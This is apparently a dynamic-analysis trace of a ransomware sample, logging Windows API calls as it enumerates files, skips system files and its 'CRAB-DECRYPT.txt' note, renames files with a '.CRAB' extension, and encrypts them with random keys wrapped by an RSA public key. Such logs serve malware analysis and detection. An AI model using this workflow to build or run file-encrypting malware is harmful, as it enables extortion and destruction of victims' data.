	[0113.151] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*"
	[0113.151] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0xda3e20
	[0113.151] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0113.151] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.152] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0113.152] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0113.152] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.152] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0113.152] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0113.152] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\CRAB-DECRYPT.txt"
	[0113.152] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.153] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 118
	[0113.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 118
	[0113.153] lstrlenW (lpString=".txt") returned 4
	[0113.153] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.153] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0113.153] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 118
	[0113.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 118
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0113.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0113.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0113.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0113.154] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.154] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.154] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2=".") returned 1
	[0113.154] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="..") returned 1
	[0113.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx"
	[0113.154] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.154] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130
	[0113.154] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130
	[0113.154] lstrlenW (lpString=".thmx") returned 5
	[0113.154] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.154] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0113.154] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.155] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130
	[0113.155] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="desktop.ini") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="autorun.inf") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="ntuser.dat") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="iconcache.db") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="bootsect.bak") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="boot.ini") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="ntuser.dat.log") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="thumbs.db") returned 1
	[0113.155] lstrcmpiW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0113.155] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.155] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB") returned 135
	[0113.155] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090430[[fn=banded]].thmx")) returned 0x20
	[0113.155] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx", dwFileAttributes=0x20) returned 1
	[0113.156] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090430[[fn=banded]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090430[[fn=banded]].thmx.crab")) returned 1
	[0113.157] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0113.157] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB"
	[0113.157] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB.CRAB"
	[0113.157] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.158] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.158] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.158] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0113.158] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.158] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.158] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.159] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.159] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.159] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0113.159] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.159] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.160] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.160] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.160] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0113.161] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4320) returned 1
	[0113.161] CryptGetKeyParam (in: hKey=0xda4320, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.161] CryptEncrypt (in: hKey=0xda4320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0113.161] GetLastError () returned 0x0
	[0113.161] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0113.161] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0113.162] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4260) returned 1
	[0113.162] CryptGetKeyParam (in: hKey=0xda4260, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.162] CryptEncrypt (in: hKey=0xda4260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0113.162] GetLastError () returned 0x0
	[0113.162] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0113.162] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090430[[fn=banded]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0113.162] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.163] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.163] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x893c1, lpOverlapped=0x0) returned 1
	[0113.227] VirtualAlloc (lpAddress=0x0, dwSize=0x893d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.235] VirtualAlloc (lpAddress=0x0, dwSize=0x893d0, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0113.245] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.246] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff76c3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.246] WriteFile (in: hFile=0x3fc, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x893d0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x3147f1c*=0x893d0, lpOverlapped=0x0) returned 1
	[0113.247] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.249] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.252] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.253] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.253] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0113.253] CloseHandle (hObject=0x3fc) returned 1
	[0113.265] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.266] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.266] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.266] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.266] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.267] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.267] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2=".") returned 1
	[0113.267] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="..") returned 1
	[0113.267] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx"
	[0113.267] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.267] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133
	[0113.267] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133
	[0113.267] lstrlenW (lpString=".thmx") returned 5
	[0113.267] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.267] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0113.267] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.268] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133
	[0113.268] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="desktop.ini") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="autorun.inf") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="ntuser.dat") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="iconcache.db") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="bootsect.bak") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="boot.ini") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="ntuser.dat.log") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="thumbs.db") returned 1
	[0113.268] lstrcmpiW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0113.268] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.268] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB") returned 138
	[0113.268] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090434[[fn=wood type]].thmx")) returned 0x20
	[0113.269] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx", dwFileAttributes=0x20) returned 1
	[0113.269] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090434[[fn=wood type]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090434[[fn=wood type]].thmx.crab")) returned 1
	[0113.270] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0113.271] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB"
	[0113.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB.CRAB"
	[0113.271] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.271] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.272] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.272] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.272] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0113.272] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.272] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.272] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e6b0) returned 1
	[0113.273] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.273] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.273] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0113.273] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0113.273] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.274] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.274] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.274] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e7c0) returned 1
	[0113.275] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda3e60) returned 1
	[0113.275] CryptGetKeyParam (in: hKey=0xda3e60, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.275] CryptEncrypt (in: hKey=0xda3e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0113.275] GetLastError () returned 0x0
	[0113.275] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0113.276] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0113.276] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda42e0) returned 1
